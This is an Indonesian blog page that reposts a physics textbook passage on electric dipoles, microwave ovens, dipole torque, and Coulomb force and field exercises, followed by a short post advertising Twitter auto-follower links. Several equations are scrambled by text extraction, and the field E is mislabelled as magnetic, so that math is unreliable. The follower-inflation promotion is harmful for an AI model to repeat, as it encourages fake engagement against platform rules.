0 (10 ) 2( 1,76x10 )x
v v 2ax
6
15
10
5 2 15
2
o
2
= ≈ −
= + −
= +
3. DIPOL LISTRIK
Jika dua buah muatan berlawanan ”diposisikan” sejauh d seperti pada
gambar maka terbentuk sebuah sistem sumber listrik statis yang disebut dipol
listrik (Yunani : dyo = dua, polos = sumbu/pasak).
Dipol listrik ini menarik, karena meskipun secara total besar muatannya nol
(karena q + (-q) = 0), namun dapat kita lihat bahwa sistem dipol masih
memiliki medan listrik di sekitarnya. Di alam dipol listrik ditemukan dalam
molekul H2O di mana hidrogen memiliki muatan positif, sedangkan oksigen
bermuatan negatif.
Dalam medan listrik dipol yang dibentuk oleh molekul H2O bergerak
menyearahkan diri dengan medan yang mempengaruhinya, dan jika medan
ini dibuat bolak-balik, maka molekul H2O ikut berosilasi bolak-balik sehingga
menaikkan temperaturnya. Teknik inilah yang dimanfaatkan oleh Percy
Lebaron Spencer secara tidak sengaja dalam ”menemukan” pemanggang
microwave pertama kali pada tahun 1946-an.
Dalam pemanggang microwave, medan listrik dengan frekuensi 2,45 GHz
(atau dengan panjang gelombang 12.2 cm) di dalamnya dibuat bolak-balik
sehingga membuat molekul H2O yang ada di dalam makanan bergerak bolakbalik
juga, akibat gerak bolak-balik ini makanan yang dipanggang menjadi
panas dan dalam waktu yang cukup dapat mematangkan makanan.
+q
-q
d
Gb 1.12.
Dipol listrik
Gb 1.13 Dipol listrik ditemukan pada molekul H2O
Microwave Oven
pertama kali
dtemukan Percy
Spencer secara
tak sengaja
ketika “peanut
bar” nya meleleh
dalam saku
ketika berdiri di
depan magnetron
dalam radar
tempat ia bekerja
di US Navy
18
Dipol listrik ini diukur oleh sebuah besaran bernama momen dipol p yang
didefinsikan sebagai perkalian muatan q dengan jarak antar muatannya (d) :
p = qd
jika berada dalam medan magnet E, momen dipol ini akan berputar hingga
sejajar dengan medan megnetnya seperti pada gambar 1.14 :
Torsi dari putaran ini dapat dihitung melalui :
τ = p x E
Contoh :
Sebuah dipol listrik memiliki momen dipol sebesar 1 e⋅nm dikenakan padanya medan
listrik 5x103 N/C dengan arah 30o terhadap dipol. Hitunglah besarnya torsi yang
timbul
Jawab :
Momen dipol 1 e⋅nm = 1(1,6 x 10-19 C)(10-9 m) = 1,6 x 10-28 Cm
Torsi dapat dihitung melalui persamaan (7) :
(1,6x10 )(5x10 N/C)sin 30 4x10 Nm
pEsin
τ x
= −28 3 o = −23
= θ
= p E
(6)
Gb 1.14 Dipol listrik menyejajarkan dri
terhadap medan listrik yang mempengaruhinya
-q +q
d
E
(7)
19
SOAL-SOAL
GAYA COULOMB
1. Dua partikel titik dengan muatan yang sama. Berapakah muatan di setiap
partikel jika diketahui gaya Coulomb yang timbul adalah 2,0 N. Jarak
kedua partikel adalah 1,5 m
2. Muatan dari inti helium adalah +2e dan muatan inti neon + 10e, dimana e
adalah muatan dasar yang besarnya 1,6x10-19C. Hitunglah gaya
elektrostatik antara kedua inti tersebut seandainya jarak antara keduanya
3 nanometer.
3. Pada model atom Bohr, elektron (q = -e) mengelilingi proton (q = +e)
dengan jari-jari 5,3 x 10-11. Gaya tarik antara proton dan elektron inilah
yang menyebabkan gaya sentripetal pada elektron, hingga elektron dapat
tetap mngorbit. Hitunglah :
a. Gaya tarik menarik antara kedua partikel tersebut
b. Kecepatan elektron berputar mengelilingi proton
4. Tiga buah muatan titik ditempatkan pada sumbu x seperti pada gambar
berpakah jumlah gaya total yang bekerja pada muatan –5 μC ?
5. Gambar di samping menunjukan perangkat untuk menghitung muatan
listrik yang terdiri dari dua bola identik (m = 0,10 g) bermuatan sama
menggantung di ujung tali yang sama panjangnya. Pada posisi yang
tampak pada gambar di bawah, kedua bola itu ternyata mengalami
kesetimbangan. Berapakah muatan bola ?
6. Perhatikan muatan-muatan di bawah ini, hitunglah gaya Coulomb total
pada muatan 4 μC oleh muatan-muatan lain
60° 60°
20 cm
60° 60°
3 μC
4 μC
2 μC
3μC -5μC 8μC
20 cm 60 cm
+e
-e
Atom hidrogen
menurut Bohr
20
7. Dua buah muatan berada pada sumbu x yaitu 3 μC di x = 0 dan –5 μC di x
= 40 cm. Di mana muatan ketiga q harus ditempatkan agar resultan gaya
padanya akan sama dengan nol
MEDAN LISTRIK
8. Dengan hukum Gauss, turunkan kuat medan listrik pada benda
konduktor berbentuk bola berrongga (kopong)berjari-jari a bermuatan Q
pada :
a. r, di mana r<a (di dalam bola)
b. r, di mana r>a (di luar bola)
9. Dengan hukum Gauss, turunkan kuat medan listrik pada benda
berbentuk kawat dengan muatan persatuan panjang λ sejauh r dari kawat.
10. Hitunglah intensitas medan listrik dari sebuah muatan titik 6 x 10-9 C
pada jarak 30 cm
11. (Dari soal no 8) Berapa gaya Coulomb yang dialami sebuah muatan titik
lain sebesar 4 x 10-10 C pada jarak tersebut
12. Perhatikan skema di bawah ini
a) Berapakah kuat medan total di titik P
b) Gaya yang dialami muatan sebesar –4x10-8 C
c) Di mana intensitas medan listrik sama dengan nol
13. Tiga buah muatan listrik A, B, dan C masing-masing -4 μC, 8 μC, -5 μC,
ditempatkan dalam suatu posisi sehingga membentuk bujursangkar
bersisi 30 cm dengan satu sudut tanpa muatan. Berapakah medan total
pada sudut tanpa muatan tersebut
5 cm 5 cm
Q1 = 20 x 10-8C Q2 = -5 x 10-8C
A
B C
unduh di
http://www.google.co.id/url?sa=t&rct=j&q=&esrc=s&source=web&cd=8&ved=0CFYQFjAH&url=http%3A%2F%2Fyasmanrianto.staff.gunadarma.ac.id%2FDownloads%2Ffiles%2F24261%2F01%2BListrik%2BStatis.pdf&ei=eTr8U9OMLdG9uAT5qIGQBg&usg=AFQjCNGBZ4SXT48mPtpC5yM7_JIDod-s_g&sig2=j7K2hQXCXLjkoNy9UmhQ9w&bvm=bv.73612305,d.c2E

Listrik Statis

By : BAYuudachi
Tuesday, 26 August 2014
0
Sebelum Baca Post Gue Follow Twitter ku dulu @bayu_hamzah

 nih saya share link auto follower
karena banyak request, jadi gue klasifikasiin lagi ya followers asal negara-negaranya

Hampir Semua Followers yang di dapat dari link ini berasal Luar Negeri;


Kalo Yang ini buatan Orang Indonesia, jadi Hampir semua followersnya orang Indonesia Sob ;;) Silahkan di Sedot;


(!Note: Tidak di sarankan untuk di pakai di akun baru, karena bahaya terkena SUSPEND lebih Besar / Langsung terkena SUSPEND, tapi kalo mau tetep lanjut gapapa, gastrusss- tapi kalau di pakai di akun lama lo woles aja, aman kok..)


jangan lupa follow @bayu_hamzah Thank

Link Auto Follower Twitter

By : BAYuudachi
Wednesday, 30 July 2014
1

- Copyright © BAYuudachi Powered by Blogger -